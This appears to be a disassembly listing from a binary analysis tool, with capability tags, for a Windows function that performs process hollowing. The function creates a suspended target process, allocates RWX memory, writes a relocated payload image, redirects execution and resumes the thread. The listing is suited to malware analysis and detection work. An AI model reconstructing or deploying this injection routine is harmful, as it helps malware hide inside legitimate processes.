Function at 0x1400062d0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Terminate process
Use process replacement

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], r8
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x27]
sub rsp, 0xf0
mov r15, rdx
xor ebx, ebx
mov qword [rbp + 0x7f], rbx
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x7f]
call fcn.1400075c0
mov rdi, rax
test rax, rax
jne 0x140006329
lea rdx, str.Loading_failed__n
lea rcx, [0x1400458c0]
call fcn.140002a50
jmp 0x140006401
mov rcx, rdi
call fcn.140006b60
mov ecx, 0x10b
sub ax, cx
mov ecx, 0xfeff
test cx, ax
je 0x14000635b
lea rdx, str.Not_supported_paylad_architecture__n
lea rcx, [0x1400458c0]
call fcn.140002a50
jmp 0x140006401
mov rcx, rdi
call fcn.140006f60
movzx r14d, al
xor r14b, 1
test r15, r15
jne 0x140006385
lea rdx, str.No_target_supplied__n
lea rcx, [0x1400458c0]
call fcn.140002a50
jmp 0x140006401
mov rcx, rdi
call fcn.140006e50
movzx r12d, ax
mov qword [rbp - 0x79], rbx
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp - 0x79]
mov rcx, r15
call fcn.1400075c0
mov rsi, rax
test rax, rax
je 0x1400063f5
mov rcx, rax
call fcn.140006e50
movzx r13d, ax
mov rcx, rsi
call fcn.140006f60
movzx ebx, al
xor edx, edx
mov rcx, rsi
call fcn.140006810
xor esi, esi
mov qword [rbp - 0x79], rsi
mov rcx, rdi
call fcn.140006f60
cmp bl, al
je 0x14000641e
lea rdx, str.Incompatibile_target_bitness__n
lea rcx, [0x1400458c0]
call fcn.140002a50
mov rdx, qword [rbp + 0x7f]
mov rcx, rdi
call fcn.140006810
xor al, al
mov rbx, qword [rsp + 0x130]
add rsp, 0xf0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
cmp r12w, 2
je 0x140006434
cmp r13w, r12w
je 0x140006434
lea rdx, str.Incompatibile_target_subsystem__n
jmp 0x1400063e9
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x45], xmm0
movups xmmword [rbp - 0x35], xmm0
movups xmmword [rbp - 0x25], xmm0
movups xmmword [rbp - 0x15], xmm0
movups xmmword [rbp - 5], xmm0
movups xmmword [rbp + 0xb], xmm0
mov dword [rbp + 0x1b], eax
mov dword [rbp - 0x49], 0x68
movups xmmword [rbp - 0x69], xmm0
mov qword [rbp - 0x59], rax
lea rax, [rbp - 0x69]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x49]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x77]
mov rcx, r15
call qword [sym.imp.KERNEL32.DLL_CreateProcessW]
test eax, eax
jne 0x1400064fc
lea rdx, str._ERROR__CreateProcess_failed__Error_
lea rcx, [0x1400458c0]
call fcn.140002a50
mov rbx, rax
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov ecx, dword [rdx + rax + 0x18]
and ecx, 0xfffff9ff
bts ecx, 0xb
mov dword [rdx + rax + 0x18], ecx
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140003e90
mov rcx, rax
lea rdx, [0x1400327f0]
call fcn.140002a50
lea rdx, str.Creating_target_process_failed__n
jmp 0x1400063e9
mov rsi, qword [rbp + 0x7f]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rsi
xor edx, edx
mov rcx, qword [rbp - 0x69]
call qword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
mov rbx, rax
test rax, rax
jne 0x140006531
lea rdx, str.Could_not_allocate_memory_in_the_remote_process_n
jmp 0x1400065bb
xor r9d, r9d
mov r8, rbx
mov rdx, rsi
mov rcx, rdi
call fcn.1400073b0
test al, al
jne 0x140006556
lea rcx, [0x140045790]
lea rdx, str.Could_not_relocate_the_module__n
jmp 0x1400065c2
mov rdx, rbx
mov rcx, rdi
call fcn.140006ff0
mov qword [rbp - 0x79], 0
lea rax, [rbp - 0x79]
mov qword [rsp + 0x20], rax
mov r9, rsi
mov r8, rdi
mov rdx, rbx
mov rcx, qword [rbp - 0x69]
call qword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
test eax, eax
jne 0x140006599
lea rcx, [0x140045790]
lea rdx, str.Writing_to_the_remote_process_failed__n
jmp 0x1400065c2
movzx r9d, r14b
lea r8, [rbp - 0x69]
mov rdx, rbx
mov rcx, rdi
call fcn.1400060e0
test al, al
jne 0x1400066ae
lea rdx, str.Redirecting_failed__n
lea rcx, [0x1400458c0]
xor bl, bl
call fcn.140002a50
mov r14, qword [rbp - 0x59]
mov r8d, r14d
xor edx, edx
mov ecx, 1
call qword [sym.imp.KERNEL32.DLL_OpenProcess]
mov rsi, rax
test rax, rax
je 0x1400066ba
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_TerminateProcess]
test eax, eax
jne 0x1400066a3
lea rdx, str._ERROR__Could_not_terminate_the_process._PID_
lea rcx, [0x1400458c0]
call fcn.140002a50
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov ecx, dword [rdx + rax + 0x18]
and ecx, 0xfffff3ff
bts ecx, 9
mov dword [rdx + rax + 0x18], ecx
mov edx, r14d
mov rcx, rax
call fcn.140003e90
mov r15, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
mov rcx, qword [rcx + rax + 0x40]
mov r14, qword [rcx + 8]
mov qword [rbp - 0x71], r14
mov rdx, qword [r14]
mov rcx, r14
call qword [rdx + 8]
nop
lea rcx, [rbp - 0x79]
call fcn.140003850
mov r8, qword [rax]
mov dl, 0xa
mov rcx, rax
call qword [r8 + 0x40]
movzx r12d, al
test r14, r14
je 0x14000668f
mov r8, qword [r14]
mov rcx, r14
call qword [r8 + 0x10]
test rax, rax
je 0x14000668f
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
movzx edx, r12b
mov rcx, r15
call fcn.140005f30
mov rcx, r15
call fcn.1400024f0
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x1400066ba
mov rcx, qword [rbp - 0x61]
call qword [sym.imp.KERNEL32.DLL_ResumeThread]
mov bl, 1
mov rdx, qword [rbp + 0x7f]
mov rcx, rdi
call fcn.140006810
mov rcx, qword [rbp - 0x61]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rcx, qword [rbp - 0x69]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
movzx eax, bl
jmp 0x140006403